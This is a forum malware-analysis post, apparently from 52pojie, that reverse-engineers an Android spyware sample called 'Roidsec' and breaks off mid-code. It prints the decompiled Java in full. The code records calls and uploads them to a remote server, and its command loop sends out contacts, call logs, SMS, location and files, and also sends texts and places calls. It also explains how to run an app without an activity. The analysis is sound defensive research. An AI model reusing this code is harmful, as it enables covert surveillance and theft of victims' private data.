吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 32853|回复: 63
收起左侧

[移动样本分析] 对恶意APP“Roidsec”的逆向分析

  [复制链接]
wnagzihxain 发表于 2016-6-2 00:41
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wnagzihxain 于 2016-7-22 11:06 编辑

祝各位小盆友儿童节快乐,这一篇当做儿童节礼物吧~~~

报告名称:对恶意APP”Roidsec”的逆向分析                                               
作者:wnagzihxain                                                     
报告更新日期:2016.6.1                       
样本发现日期:不详                                    
样本类型:                                          
样本文件大小/被感染文件变化长度:   
样本文件MD5 校验值:               
样本文件SHA1 校验值:            
壳信息:无                                                   
可能受到威胁的系统:安卓                  
相关漏洞:无                                                
已知检测名称:无

看到了一篇关于安卓开发相关的文章,想起手头刚好有个利用这种技术的恶意APP样本,那么就来分析一下吧
只有一个Service或Broadcast Reciver的android应用
上apktool
[Shell] 纯文本查看 复制代码
apktool d -f Roidsec_D4A557EC086E52C443BDE1B8ACE51739.apk -o do

1.png

然后随便翻翻,并没有什么重要的图片~~~

上JEB看Manifest.xml

2.png

发现只有一个service和Receiver
[XML] 纯文本查看 复制代码
<intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>

这东西出现很大可能就是开机启动

果然是开机启动一个Service:PhoneSyncService

3.png


找来找去没有看到Activity。。。。。。

没有就没有吧,继续把准备工作干完

今天来介绍一个类似dex2jar的工具:enjarify

谷歌的介绍是这样的

简单翻译一下大概就是说:dex2jar在普通的逆向工作中表现的还是不错的,但是在日新月异的逆向调试中,有很多情况会导致dex2jar出问题,所以设计了enjarify,可以适应各种奢华场景。。。。。。

先夸奖一下然后烘托自家产品厉害,都是套路

4.png

那这次就用用enjarify吧

跟着前面的脚步,启动一个PhoneSyncService,那么就来看看这个Service的代码吧

5.png

略微有点多,这里我都缩略了一下,并不能完整的显示所有的方法,作者这代码写的不好哇,这么多方法放一个类,差评

看这四个

6.png

这是Service关键的几个方法

本来想演示无activity启动来说明这几个方法的运行顺序和生命周期的,但是结果在下载镜像的时候被天朝的GFW坑了

说结论好了:3.1以前的安卓系统,可以无activity运行应用,但是3.1开始因为安全的考虑,不能无activity运行,不过可以绕过去,先运行有activity的版本,然后删除activity和xml配置再重新安装,运行一次后就可以绕过去了

关于生命周期:当收到开机广播的时候,会先执行onCreate()方法,然后执行onStartCommand()方法,接着onStartCommand()方法可能会多次执行到,但是onCreate()只会执行一次,以后就不会再执行了,onDestroy()方法都是比较常规的就不用说了

工具要结合着用嘛,小书包里掏出JEB

找到刚才那几个方法,先来看onCreate()
[Java] 纯文本查看 复制代码
public void onCreate() {
        this.registerReceiver(this.broadcastreceiver, new IntentFilter("sms.send"));  // 动态注册一个Receiver
        Log.i("PhoneIMEService", "service created");
        super.onCreate();
}
动态注册了一个Receiver,跟上这个broadcastreceiver看看是什么
[Java] 纯文本查看 复制代码
private BroadcastReceiver broadcastreceiver;
Soga,用于广播接收,action是”sms.send”

既然是对象必然要new,上下翻一翻,在这
[Java] 纯文本查看 复制代码
public PhoneSyncService() {
        super();
        this.Sendresult = null;
        this.broadcastreceiver = new BroadcastReceiver() {
            public void onReceive(Context context, Intent intent) {
                switch(this.getResultCode()) {
                    case -1: {
                        PhoneSyncService.this.Sendresult = "成功!";
                        break;
                    }
                    case 1: {
                        PhoneSyncService.this.Sendresult = "失败[result_error_generic_failure!]";
                        break;
                    }
                    case 3: {
                        PhoneSyncService.this.Sendresult = "失败[result_error_null_pdu!]";
                        break;
                    }
                    case 4: {
                        PhoneSyncService.this.Sendresult = "失败[result_error_no_service!]";
                        break;
                    }
                }
            }
        };
}
从整个函数来看是PhoneSyncService的构造方法里实现的

作用是用于获取广播“sms.send”的ResultCode

onCreate()方法执行完就会执行onStartCommand()
[Java] 纯文本查看 复制代码
public int onStartCommand(Intent intent, int flags, int startId) {
        this.getSystemService("phone").listen(new TelListener(this, null), 32);
        this.acquireWakeLock();
        Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            public void run() {
                PhoneSyncService.this.BackConnTask();
                this.val$handler.postDelayed(((Runnable)this), 2000);
            }
        }, 2000);
        return 1;
}
读代码的时候到了

这句不考虑语法平台之类的话,意思是注册一个监听器监听电话(打电话:来电去电)
[Java] 纯文本查看 复制代码
this.getSystemService("phone").listen(new TelListener(this, null), 32);
参数32参考下面这个定义,如果这个状态改变则触发相应的方法
[Java] 纯文本查看 复制代码
public static final int LISTEN_NONE = 0; //停止监听 
public static final int LISTEN_SERVICE_STATE = 0x00000001;
public static final int LISTEN_MESSAGE_WAITING_INDICATOR = 0x00000004;
public static final int LISTEN_CALL_FORWARDING_INDICATOR = 0x00000008;
public static final int LISTEN_CELL_LOCATION = 0x00000010;
public static final int LISTEN_CALL_STATE = 0x00000020;
public static final int LISTEN_DATA_CONNECTION_STATE = 0x00000040;
public static final int LISTEN_DATA_ACTIVITY = 0x00000080;
public static final int LISTEN_SIGNAL_STRENGTHS = 0x00000100;
public static final int LISTEN_NONE = 0; //停止监听
public static final int LISTEN_SERVICE_STATE = 0x00000001;
public static final int LISTEN_MESSAGE_WAITING_INDICATOR = 0x00000004;
public static final int LISTEN_CALL_FORWARDING_INDICATOR = 0x00000008;
public static final int LISTEN_CELL_LOCATION = 0x00000010;
public static final int LISTEN_CALL_STATE = 0x00000020;
public static final int LISTEN_DATA_CONNECTION_STATE = 0x00000040;
public static final int LISTEN_DATA_ACTIVITY = 0x00000080;
public static final int LISTEN_SIGNAL_STRENGTHS = 0x00000100;
继续看listen里面的参数

New了一个TelListener对象,跟过去看看是怎么定义的
[Java] 纯文本查看 复制代码
class TelListener extends PhoneStateListener 
{
    final class UploadTask implements Runnable 
    {
        UploadTask(TelListener arg1, UploadTask arg2) 
        {
            super(arg1);
        }
        private UploadTask(TelListener arg1) 
        {
            this.this$1 = arg1;
            super();
        }
        public void run() 
        {
            try 
            {
                Socket socket = new Socket(InetAddress.getByName("www.roidsec.com"), 2021);
                OutputStream outputstream = socket.getOutputStream();
                outputstream.write("Content-Length=" + this.this$1.audioFile.length() + ";filename=" + this.this$1.audioFile.getName() + ";sourceid=\r\n".getBytes());
                PushbackInputStream pushbackinputstream = new PushbackInputStream(socket.getInputStream());
                String[] v5 = StreamTool.readLine(pushbackinputstream).split(";");
                String v8 = v5[1].substring(v5[1].indexOf("=") + 1);
                RandomAccessFile randomaccessfile = new RandomAccessFile(this.this$1.audioFile, "r");
                randomaccessfile.seek(((long)Integer.valueOf(v8).intValue()));
                byte[] v0 = new byte[1024];
                while(true) 
                {
                    int v6 = randomaccessfile.read(v0);
                    if(v6 == -1) 
                    {
                        break;
                    }

                    outputstream.write(v0, 0, v6);
                }
                randomaccessfile.close();
                outputstream.close();
                pushbackinputstream.close();
                socket.close();
                this.this$1.audioFile.delete();
                return;
            }
            catch(Exception error)
            {
                Log.e("PhoneIMEService", error.toString());
                return;
            }
        }
    }
    private File audioFile;
    private String mobile;
    private boolean record;
    private MediaRecorder recorder;
    TelListener(PhoneSyncService arg1, TelListener arg2) 
    {
        super(arg1);
    }
    private TelListener(PhoneSyncService arg1) 
    {
        PhoneSyncService.this = arg1;
        super();
    }
    static File access$0(TelListener arg1) 
    {
        return arg1.audioFile;
    }
    public void onCallStateChanged(int state, String incomingNumber) 
    {
        switch(state) 
        {
            case 0: 
            {
                goto label_3;
            }
            case 1: 
            {
                goto label_73;
            }
            case 2: 
            {
                goto label_26;
            }
        }
        goto label_1;
        try 
        {
            label_3:
                if(!this.record) 
                {
                    goto label_1;
                }
                this.recorder.stop();
                this.recorder.release();
                this.record = false;
                new Thread(new UploadTask(this, null)).start();
                Log.i("PhoneIMEService", "start upload file");
                goto label_1;
            label_73:
                Log.i("PhoneIMEService", "incomingNumber:" + incomingNumber);
                this.mobile = incomingNumber;
                goto label_1;
            label_26:
                Log.i("PhoneIMEService", "OFFHOOK:" + this.mobile);
                this.recorder = new MediaRecorder();
                this.recorder.setAudioSource(4);
                this.recorder.setOutputFormat(1);
                this.recorder.setAudioEncoder(1);
                this.audioFile = new File(PhoneSyncService.this.getCacheDir(), String.valueOf(this.mobile)
                         + "_" + System.currentTimeMillis() + ".3gp");
                this.recorder.setOutputFile(this.audioFile.getAbsolutePath());
                this.recorder.prepare();
                this.recorder.start();
                this.record = true;
        }
        catch(Exception error) 
        {
            Log.e("PhoneIMEService", error.toString());
        }
        label_1:
            super.onCallStateChanged(state, incomingNumber);
    }
}
这个监听器写的代码有点多,来仔细读读代码

一个UploadTask类,使用Runnable接口,那看来接下来是要开线程了

7.png

先不管,来看看最重要的onCallStateChanged(),状态改变就会调用这个方法
[Java] 纯文本查看 复制代码
public void onCallStateChanged(int state, String incomingNumber) 
    {
        switch(state) 
        {
            case 0: 
            {
                goto label_3;
            }
            case 1: 
            {
                goto label_73;
            }
            case 2: 
            {
                goto label_26;
            }
        }
        goto label_1;
        try 
        {
            label_3:
                if(!this.record) 
                {
                    goto label_1;
                }
                this.recorder.stop();
                this.recorder.release();
                this.record = false;
                new Thread(new UploadTask(this, null)).start();
                Log.i("PhoneIMEService", "start upload file");
                goto label_1;
            label_73:
                Log.i("PhoneIMEService", "incomingNumber:" + incomingNumber);
                this.mobile = incomingNumber;
                goto label_1;
            label_26:
                Log.i("PhoneIMEService", "OFFHOOK:" + this.mobile);
                this.recorder = new MediaRecorder();
                this.recorder.setAudioSource(4);
                this.recorder.setOutputFormat(1);
                this.recorder.setAudioEncoder(1);
                this.audioFile = new File(PhoneSyncService.this.getCacheDir(), String.valueOf(this.mobile)
                         + "_" + System.currentTimeMillis() + ".3gp");
                this.recorder.setOutputFile(this.audioFile.getAbsolutePath());
                this.recorder.prepare();
                this.recorder.start();
                this.record = true;
        }
        catch(Exception error) 
        {
            Log.e("PhoneIMEService", error.toString());
        }
        label_1:
            super.onCallStateChanged(state, incomingNumber);
}
依旧是读代码

根据传进来的状态码跳到相应的label
[Java] 纯文本查看 复制代码
switch(state) 
        {
            case 0: 
            {
                goto label_3;
            }
            case 1: 
            {
                goto label_73;
            }
            case 2: 
            {
                goto label_26;
            }
        }
        goto label_1;
关于几种状态码看这里
[Java] 纯文本查看 复制代码
CALL_STATE_IDLE=0      无活动
CALL_STATE_RINGING=1  响铃
CALL_STATE_OFFHOOK=2 摘机
Case 0为无活动,跳到label_3
[Java] 纯文本查看 复制代码
label_3:
    if(!this.record)
    {
        goto label_1;
    }
    this.recorder.stop();
    this.recorder.release();
    this.record = false;
    new Thread(new UploadTask(this, null)).start();
    Log.i("PhoneIMEService", "start upload file");
    goto label_1;
这里判断了record,查一下定义
[Java] 纯文本查看 复制代码
private boolean record;
没有初始值而且是类一级的变量,默认是false

写了个demo演示

8.png

所以上面的代码就会执行if里面的语句,也就是跳到label_1

[Java] 纯文本查看 复制代码
label_1:
            super.onCallStateChanged(state, incomingNumber);

case 0剩下的代码先不管,来看case1,这是有来电等待接听,跳到label_73
[Java] 纯文本查看 复制代码
label_73:
                Log.i("PhoneIMEService", "incomingNumber:" + incomingNumber);
                this.mobile = incomingNumber;
                goto label_1;
incomingNumber为onCallStateChanged()方法的参数,代表打过来电话的手机号

存到这个类的全局变量mobile然后继续跳到label_1

看case 2,代表接听,跳到label_26
[Java] 纯文本查看 复制代码
label_26:
                Log.i("PhoneIMEService", "OFFHOOK:" + this.mobile);
                this.recorder = new MediaRecorder();
                this.recorder.setAudioSource(4);
                this.recorder.setOutputFormat(1);
                this.recorder.setAudioEncoder(1);
                this.audioFile = new File(PhoneSyncService.this.getCacheDir(), String.valueOf(this.mobile)
                         + "_" + System.currentTimeMillis() + ".3gp");
                this.recorder.setOutputFile(this.audioFile.getAbsolutePath());
                this.recorder.prepare();
                this.recorder.start();
                this.record = true;
这个就有意思了,慢慢读代码

new了一个MediaRecorder对象,这个变量其实前面是有定义的

[Java] 纯文本查看 复制代码
private MediaRecorder recorder;//定义在类全局变量
this.recorder = new MediaRecorder();

设置用于录制的音源
[Java] 纯文本查看 复制代码
this.recorder.setAudioSource(4);
设置在录制过程中产生的输出文件的格式
[Java] 纯文本查看 复制代码
this.recorder.setOutputFormat(1);
设置audio的编码格式
[Java] 纯文本查看 复制代码
this.recorder.setAudioEncoder(1);
创建录音文件,名字为”来电的手机号_时间.3gp”
[Java] 纯文本查看 复制代码
private File audioFile; //定义在类全局变量
this.audioFile = new File(PhoneSyncService.this.getCacheDir(), String.valueOf(this.mobile) + "_" + System.currentTimeMillis() + ".3gp");
将录制的音频保存到刚才的文件
[Java] 纯文本查看 复制代码
this.recorder.setOutputFile(this.audioFile.getAbsolutePath());
这两句和MediaPlayer类是一样的,先prepare,再start
[Java] 纯文本查看 复制代码
this.recorder.prepare();
this.recorder.start();
设置record为true,作用等会讲
[Java] 纯文本查看 复制代码
this.record = true;
然后电话打完后,就会变成case 0的情况

但是此时case 0的代码执行过程就不一样了

来看
[Java] 纯文本查看 复制代码
label_3:
                if(!this.record)
                {
                    goto label_1;
                }
                this.recorder.stop();
                this.recorder.release();
                this.record = false;
                new Thread(new UploadTask(this, null)).start();
                Log.i("PhoneIMEService", "start upload file");
                goto label_1;
还记得刚才record设置为true了吗?

这个变量的作用就是记录刚刚是否打完电话,打完电话才有音频要存呀

record为true,那么if里的语句不会执行,来看执行的语句
刚才start,所以打完电话停止录制就要stop
[Java] 纯文本查看 复制代码
this.recorder.stop();
释放recorder对象
[Java] 纯文本查看 复制代码
this.recorder.release();
将record设置为false,这样才不会打完一次电话就反复执行这个label
[Java] 纯文本查看 复制代码
this.record = false;
重头戏在这里
[Java] 纯文本查看 复制代码
new Thread(new UploadTask(this, null)).start();
还记得最开始有一张代码的图片我说先放着吗?

完整代码在这
[Java] 纯文本查看 复制代码
final class UploadTask implements Runnable{
        UploadTask(TelListener arg1, UploadTask arg2)   {
            super(arg1);
        }
        private UploadTask(TelListener arg1){
            this.this$1 = arg1;
            super();
        }
        public void run(){
            try{
                Socket socket = new Socket(InetAddress.getByName("www.roidsec.com"), 2021);
                OutputStream outputstream = socket.getOutputStream();
                outputstream.write("Content-Length=" + this.this$1.audioFile.length() + ";filename=" + this.this$1.audioFile.getName() + ";sourceid=\r\n".getBytes());
                PushbackInputStream pushbackinputstream = new PushbackInputStream(socket.getInputStream());
                String[] v5 = StreamTool.readLine(pushbackinputstream).split(";");
                String v8 = v5[1].substring(v5[1].indexOf("=") + 1);
                RandomAccessFile randomaccessfile = new RandomAccessFile(this.this$1.audioFile, "r");
                randomaccessfile.seek(((long)Integer.valueOf(v8).intValue()));
                byte[] v0 = new byte[1024];
                while(true){
                    int v6 = randomaccessfile.read(v0);
                    if(v6 == -1){
                        break;
                    }
 
                    outputstream.write(v0, 0, v6);
                }
                randomaccessfile.close();
                outputstream.close();
                pushbackinputstream.close();
                socket.close();
                this.this$1.audioFile.delete();
                return;
            }
            catch(Exception error){
                Log.e("PhoneIMEService", error.toString());
                return;
            }
        }
}
读代码读代码读代码

直接看run()方法就行了

连接服务器
[Java] 纯文本查看 复制代码
Socket socket = new Socket(InetAddress.getByName("www.roidsec.com"), 2021);
给服务器发送刚才录制的音频的文件信息,此时没有传输音频
[Java] 纯文本查看 复制代码
OutputStream outputstream = socket.getOutputStream();
outputstream.write("Content-Length=" + this.this$1.audioFile.length() + ";filename=" + this.this$1.audioFile.getName() + ";sourceid=\r\n".getBytes());
PushbackInputStream pushbackinputstream = new PushbackInputStream(socket.getInputStream());
String[] v5 = StreamTool.readLine(pushbackinputstream).split(";");
String v8 = v5[1].substring(v5[1].indexOf("=") + 1);
开始传输音频
[Java] 纯文本查看 复制代码
RandomAccessFile randomaccessfile = new RandomAccessFile(this.this$1.audioFile, "r");
randomaccessfile.seek(((long)Integer.valueOf(v8).intValue()));
byte[] v0 = new byte[1024];
while(true){
    int v6 = randomaccessfile.read(v0);
    if(v6 == -1){
        break;
    }
    outputstream.write(v0, 0, v6);
}
把各种连接什么的都关掉
[Java] 纯文本查看 复制代码
randomaccessfile.close();
outputstream.close();
pushbackinputstream.close();
socket.close();
删掉刚才录制的音频文件
[Java] 纯文本查看 复制代码
this.this$1.audioFile.delete();
return;
以上就是触发监听器后的所有行为,总结一下:

当有来电,受害者接听的时候开启录音,受害者挂掉电话停止录制并把录制的音频传到服务器

还记得刚才代码读到哪了吗?onStartCommand()里注册了一个监听器

看这好像是要获得wakelock锁,这个可以控制机器不休眠
[Java] 纯文本查看 复制代码
this.acquireWakeLock();
跟过去
[Java] 纯文本查看 复制代码
private void acquireWakeLock() {
        if(this.mWakeLock == null) {
            this.mWakeLock = this.getSystemService("power").newWakeLock(536870913, "PhoneIMEService");
            if(this.mWakeLock != null) {
                this.mWakeLock.acquire();
            }
        }
}
这句
[Java] 纯文本查看 复制代码
if(this.mWakeLock == null)
来看mWakeLock的定义
[Java] 纯文本查看 复制代码
PowerManager$WakeLock mWakeLock;
那这样一来很清楚了,如果这个定义的锁对象还是null就先配置一下信息,再判断不为空就申请锁,然后抱着锁不撒手就行了,想不撒手很简单,不调用release()就行

接着这里有延迟执行的任务
[Java] 纯文本查看 复制代码
Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            public void run() {
                PhoneSyncService.this.BackConnTask();
                this.val$handler.postDelayed(((Runnable)this), 2000);
            }
        }, 2000);
这个任务延迟两秒执行
[Java] 纯文本查看 复制代码
PhoneSyncService.this.BackConnTask();
跟过去,代码有点多,先看看就好
[Java] 纯文本查看 复制代码
private void BackConnTask() {
        byte[] v20;
        RandomAccessFile randomaccessfile;
        Object v33;
        int length;
        char[] arraychar;
        OutputStream outputstream;
        try {
            Socket socket = new Socket(InetAddress.getByName("www.roidsec.com"), 5001);
            while(true) {
            label_5:
                outputstream = socket.getOutputStream();
                BufferedReader bufferreader = new BufferedReader(new InputStreamReader(socket.getInputStream(),
                        "GBK"));
                arraychar = new char[256];
                length = bufferreader.read(arraychar);
                if(new String(arraychar, 0, length).equals("get_info")) {
                    goto label_33;
                }
 
                if(new String(arraychar, 0, length).equals("getCallLogs")) {
                    outputstream.write("result_Call" + this.getCallLogs().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    continue;
                }
 
                if(new String(arraychar, 0, length).equals("getContactInfo")) {
                    outputstream.write("result_Contact" + this.getContactInfo().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    continue;
                }
 
                if(new String(arraychar, 0, length).equals("getMessagein")) {
                    outputstream.write("result_Messagein" + this.getSmsMessagesin().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    continue;
                }
 
                if(new String(arraychar, 0, length).equals("getMessageout")) {
                    outputstream.write("result_Messageout" + this.getSmsMessagesout().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    continue;
                }
 
                if(new String(arraychar, 0, length).equals("getInstalledApp")) {
                    outputstream.write("result_InstalledApp" + this.getInstalledApp().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    continue;
                }
 
                if(new String(arraychar, 0, length).equals("getkernelApp")) {
                    outputstream.write("result_InstalledApp" + this.getKernelApp().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    continue;
                }
 
                if(!new String(arraychar, 0, length).equals("getGPS")) {
                    goto label_270;
                }
 
                break;
            }
        }
        catch(Exception v21) {
            goto label_49;
        }
 
        try {
            Object v10 = this.getSystemService("location");
            if(!((LocationManager)v10).isProviderEnabled("network") && !((LocationManager)v10).isProviderEnabled(
                    "gps")) {
                goto label_5;
            }
 
            outputstream.write("result_GPS" + this.getPhoneLocation().getBytes("GBK"));
            outputstream.write("\n".getBytes());
            goto label_5;
        }
        catch(Exception v21) {
            try {
                v21.printStackTrace();
                goto label_5;
            label_270:
                if(!new String(arraychar, 0, 9).equals("getromDir")) {
                    goto label_317;
                }
            }
            catch(Exception v21) {
                goto label_49;
            }
        }
 
        try {
            outputstream.write("result_Dir" + this.getromDir(new String(arraychar, 9, length - 9)).getBytes("GBK"));
            outputstream.write("\n".getBytes());
            goto label_5;
        }
        catch(Exception v21) {
            try {
                Log.e("PhoneIMEService", v21.toString());
                goto label_5;
            label_317:
                if(new String(arraychar, 0, 12).equals("getSdcardDir")) {
                    outputstream.write("result_Dir" + this.getSdcardDir(new String(arraychar, 12, length - 12))
                            .getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    goto label_5;
                }
 
                if(new String(arraychar, 0, 10).equals("deletefile")) {
                    outputstream.write("result_FileStatus" + this.killFile(new String(arraychar, 10, length -
                            10)).getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    goto label_5;
                }
 
                if(new String(arraychar, 0, length).equals("SDCardInfo")) {
                    outputstream.write("result_SdCardInfo" + this.getSDCardMemory().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    goto label_5;
                }
 
                if(new String(arraychar, 0, length).equals("RomInfo")) {
                    outputstream.write("result_romInfo" + this.getRomMemory().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    goto label_5;
                }
 
                if(new String(arraychar, 0, length).equals("getScreenLocked")) {
                    if(this.getSystemService("keyguard").inKeyguardRestrictedInputMode()) {
                        outputstream.write("ScreenStatus已锁屏".getBytes("GBK"));
                        outputstream.write("\n".getBytes());
                        goto label_5;
                    }
 
                    outputstream.write("ScreenStatus未锁屏".getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    goto label_5;
                }
 
                if(new String(arraychar, 0, length).equals("getWiFiStatus")) {
                    outputstream.write("result_WiFiInfo" + this.getWiFiStatus().getBytes("GBK"));
                    outputstream.write("\n".getBytes());
                    goto label_5;
                }
 
                if(new String(arraychar, 0, length).equals("openWiFi")) {
                    v33 = this.getSystemService("wifi");
                    if(((WifiManager)v33).isWifiEnabled()) {
                        goto label_5;
                    }
 
                    v33.setWifiEnabled(true);
                    goto label_5;
                }
 
                if(new String(arraychar, 0, length).equals("closeWiFi")) {
                    v33 = this.getSystemService("wifi");
                    if(!((WifiManager)v33).isWifiEnabled()) {
                        goto label_5;
                    }
 
                    v33.setWifiEnabled(false);
                    goto label_5;
                }
 
                if(!new String(arraychar, 0, length).equals("scanWiFi")) {
                    goto label_676;
                }
 
                v33 = this.getSystemService("wifi");
                ((WifiManager)v33).startScan();
                List v32 = ((WifiManager)v33).getScanResults();
                StringBuilder v38 = new StringBuilder();
                if(v32 != null) {
                    int v24 = 0;
                    goto label_596;
                label_676:
                    if(new String(arraychar, 0, 8).equals("LoadFile")) {
                        File v22 = new File(String.valueOf(Environment.getExternalStorageDirectory()
                                .getPath()) + new String(arraychar, 8, length - 8));
                        if(!v22.isFile()) {
                            goto label_5;
                        }
 
                        randomaccessfile = new RandomAccessFile(v22, "r");
                        v20 = new byte[1024];
                        goto label_723;
                    }
                    else {
                        if(new String(arraychar, 0, 8).equals("ScreenShot")) {
                            goto label_5;
                        }
 
                        if(new String(arraychar, 0, 7).equals("SendSms")) {
                            String[] v15 = new String(arraychar, 7, length - 7).split("\\|");
                            outputstream.write("result_SmsStatus" + this.SendSmsMes(v15[0], v15[1]).
                                    getBytes("GBK"));
                            outputstream.write("\n".getBytes());
                            goto label_5;
                        }
                        else {
                            if(!new String(arraychar, 0, 9).equals("CallPhone")) {
                                goto label_5;
                            }
 
                            Intent v26 = new Intent("android.intent.action.CALL", Uri.parse("tel:" +
                                    new String(arraychar, 9, length - 9)));
                            v26.setFlags(268435456);
                            this.startActivity(v26);
                            goto label_5;
                        label_33:
                            outputstream.write(this.getInitializes().getBytes("GBK"));
                            outputstream.write("\n".getBytes());
                            goto label_5;
                            while(true) {
                            label_723:
                                int v30 = randomaccessfile.read(v20);
                                if(v30 == -1) {
                                    goto label_5;
                                }
 
                                outputstream.write(v20, 0, v30);
                            }
 
                        label_596:
                            while(v24 < v32.size()) {
                                Object v31 = v32.get(v24);
                                v38 = v38.append(String.valueOf(v31.BSSID) + "|").append(String.valueOf(
                                        v31.SSID) + "|").append(String.valueOf(v31.capabilities) + "|")
                                        .append(String.valueOf(v31.frequency) + "|").append(String.valueOf(
                                        v31.level) + "~");
                                ++v24;
                            }
                        }
                    }
                }
 
                outputstream.write("result_WiFiList" + v38.toString().getBytes("GBK"));
                outputstream.write("\n".getBytes());
                goto label_5;
            }
            catch(Exception v21) {
            label_49:
                Log.e("PhoneIMEService", v21.toString());
                return;
            }
        }
}
像这种代码多的方法,把它拆开来分析是比较容易的

开工

连接服务器
[Java] 纯文本查看 复制代码
Socket socket = new Socket(InetAddress.getByName("www.roidsec.com"), 5001);
while(true) {
label_5:
outputstream = socket.getOutputStream();
//获取服务器返回的数据
BufferedReader bufferreader = new BufferedReader(new InputStreamReader(socket.getInputStream(), "GBK"));
        arraychar = new char[256];
        length = bufferreader.read(arraychar);
然后接下来是对arraychar的判断

一个一个来,不着急,每一行代码都有份

如果服务器返回的数据是"get_info",跳到label_33
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("get_info")) {
                    goto label_33;
                }
找到label_33
[Java] 纯文本查看 复制代码
label_33:
outputstream.write(this.getInitializes().getBytes("GBK"));
outputstream.write("\n".getBytes());
goto label_5;
这一句看不出是要获得什么
[Java] 纯文本查看 复制代码
this.getInitializes()
看不出来的就跟过去,原来是各种手机的信息
[Java] 纯文本查看 复制代码
private String getInitializes() {
        String phone_buildmodel;  // 手机型号
        String phone_buildversion;  // 系统版本号
        String phone_IMEI;  // IEMI
        String phone_networkoperator;  // 注册的运营商名字
        String phone_number;  // 手机号
        StringBuilder phone_information = new StringBuilder();
        Object object_phone = this.getSystemService("phone");
        try {
            phone_number = ((TelephonyManager)object_phone).getLine1Number();  // 手机号
            phone_networkoperator = ((TelephonyManager)object_phone).getNetworkOperatorName();  // 注册的运营商名字
            phone_IMEI = ((TelephonyManager)object_phone).getDeviceId();  // IEMI
            phone_buildversion = Build$VERSION.RELEASE;  // 系统版本号
            phone_buildmodel = Build.MODEL;  // 手机型号
        }
        catch(Exception error) {
            Log.e("PhoneIMEService", error.toString());
        }   phone_information.append("infos").append(phone_networkoperator).append("|").append(phone_number).append("|").append(phone_IMEI).append("|").append(this.getMaxCpuFreq()).append("|").append(this.getTotalMemory()).append("|").append(phone_buildversion).append("|").append(phone_buildmodel);
        return phone_information.toString();  // 把上面的信息整理一下返回
}
其中包含两个作者自己写的方法
[Java] 纯文本查看 复制代码
private long getTotalMemory() {
        long v4;
        String v7 = "/proc/meminfo";
        try {
            BufferedReader v3 = new BufferedReader(new FileReader(v7), 128);
            v4 = ((long)Integer.valueOf(v3.readLine().split("\\s+")[1]).intValue());
            v3.close();
        }
        catch(IOException v1) {
            Log.e("PhoneIMEService", v1.toString());
            v4 = 0;
        }
        return v4;
}
private String getMaxCpuFreq() {
        String v6 = "";
        int v7 = 2;
        try {
            String[] v0 = new String[v7];
            v0[0] = "/system/bin/cat";
            v0[1] = "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq";
            InputStream v3 = new ProcessBuilder(v0).start().getInputStream();
            byte[] v5 = new byte[32];
            while(v3.read(v5) != -1) {
                v6 = String.valueOf(v6) + new String(v5);
            }
            v3.close();
        }
        catch(IOException error) {
            Log.e("PhoneIMEService", error.toString());
            v6 = "N/A";
        }
        return v6.trim();
}

如果服务器返回的数据是"getCallLogs",返回this.getCallLogs()方法的返回值
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getCallLogs")) {
    outputstream.write("result_Call" + this.getCallLogs().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    continue;
}
跟过去,仔细读代码可以发现这是在获取受害者所有的通话记录
[Java] 纯文本查看 复制代码
private String getCallLogs() {
        String Call_type;
        StringBuilder allCallinformation = new StringBuilder();
        Cursor cursor = this.getContentResolver().query(CallLog$Calls.CONTENT_URI, new String[]{"number",   // 查询所有的通话记录
                "name", "type", "date", "duration"}, null, null, "date DESC");
        int i;
        for(i = 0; i < cursor.getCount(); ++i) {
            cursor.moveToPosition(i);
            String number = cursor.getString(0);  // 手机号
            String name = cursor.getString(1);  // 名字
            switch(cursor.getInt(2)) {
                case 1: {
                    Call_type = "来电";
                    break;
                }
                case 2: {
                    Call_type = "去电";
                    break;
                }
                case 3: {
                    Call_type = "未接来电";
                    break;
                }
                default: {
                    Call_type = "未知类型";
                    break;
                }
            }   
            allCallinformation.append(number).append("|").append(name).append("|").append(Call_type).append("|").append(new SimpleDateFormat(  // 将每次获得的记录加到已经获得的信息后面
                    "yyyy-MM-dd HH:mm:ss").format(new Date(Long.parseLong(cursor.getString(3))))).append(
                    "|").append(cursor.getString(4)).append("~");
        }
        return allCallinformation.toString();  // 返回整理好的通话记录里的数据
}
如果服务器返回的数据是"getContactInfo",就发送this.getContactInfo()方法返回的数据
[Java] 纯文本查看 复制代码
if(new String(arraychar, 0, length).equals("getContactInfo")) {
    outputstream.write("result_Contact" + this.getContactInfo().getBytes("GBK"));
    outputstream.write("\n".getBytes());
    continue;
}
跟过去,读一遍后发现作用是获取通讯录里所有联系人的信息
[Java] 纯文本查看 复制代码
private String getContactInfo() {
        String[] NULL = null;
        Cursor cursor = this.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, NULL, ((String)NULL), NULL, ((String)NULL));
        StringBuilder allContactinformation = new StringBuilder();
        while(cursor.moveToNext()) {
            String Contact_id = cursor.getString(cursor.getColumnIndex("_id"));
            allContactinformation.append(Contact_id).append("|").append(cursor.getString(cursor.getColumnIndex("display_name")));
